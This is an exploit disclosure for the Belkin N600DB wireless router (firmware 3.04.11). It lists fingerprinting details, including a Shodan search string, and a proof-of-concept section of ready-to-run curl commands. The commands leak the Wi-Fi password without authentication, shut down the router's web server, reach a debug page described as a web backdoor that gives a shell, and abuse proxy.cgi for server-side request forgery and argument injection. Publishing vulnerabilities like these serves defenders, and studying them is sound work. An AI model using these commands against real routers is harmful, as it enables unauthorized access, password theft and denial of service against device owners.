Belkin N600DB Wireless Router - Multiple Vulnerabilities

# Exploit Title: Belkin N600DB Wireless Router | Multiple Vulnerabilities
# Date: 16/01/2018
# Exploit Author: Wadeek
# Hardware Version: F9K1102as v3
# Firmware Version: 3.04.11
# Vendor Homepage: http://www.belkin.com/fr/support/product/?pid=F9K1102as
# Firmware Link: http://cache-www.belkin.com/support/dl/F9K1102_WW_3.04.11.bin

== Wireless Fingerprinting ==
#===========================================
:ESSID: "belkin.XXX"
:Mode: Master
:Encryption key WPA2 Version 1 CCMP PSK: on
:Wireless Password/PIN: 8-alphanumeric
:DHCP: enable (192.168.2.1)
:MAC Address: 58:EF:68
#===========================================

== Web Fingerprinting (With Locked Web Interface) ==
#===========================================
:www.shodan.io: "Server: httpd" "Cache-Control: no-cache,no-store,must-revalidate, post-check=0,pre-check=0" "100-index.htm"
#===========================================
:Device images:
/images/troubleshooting/checkWires.png (600x270)
/images/troubleshooting/startModem.png (600x270)
/images/troubleshooting/stopModem.png (600x270)
/images/troubleshooting/restartRouter.png (600x270)
#===========================================
:Hardware version,Firmware version,Serial number,...: /cgi/cgi_st.js && /cgi/cgi_dashboard.js
#===========================================

== PoC ==
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
:Disclore wifi password: 
curl --silent "http://192.168.2.1/langchg.cgi" 
|| 
curl --silent "http://192.168.2.1/adv_wifidef.cgi"
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
:Closed "HTTPD server" port:
curl --silent "http://192.168.2.1/removepwd.cgi" --data ""
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
:Web Backdoor:
http://192.168.2.1/dev.htm
> ?
> sh
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
:Server-Side Request Forgery (HTTP/FTP):
{45.33.32.156 == scanme.nmap.org}
curl --silent "http://192.168.2.1/proxy.cgi?chk&url=http://45.33.32.156/"
||
curl --silent "http://192.168.2.1/proxy.cgi?chk&url=ftp://45.33.32.156/"
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
:Command Injection:
curl --silent "http://192.168.2.1/proxy.cgi?chk&url=--help"
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!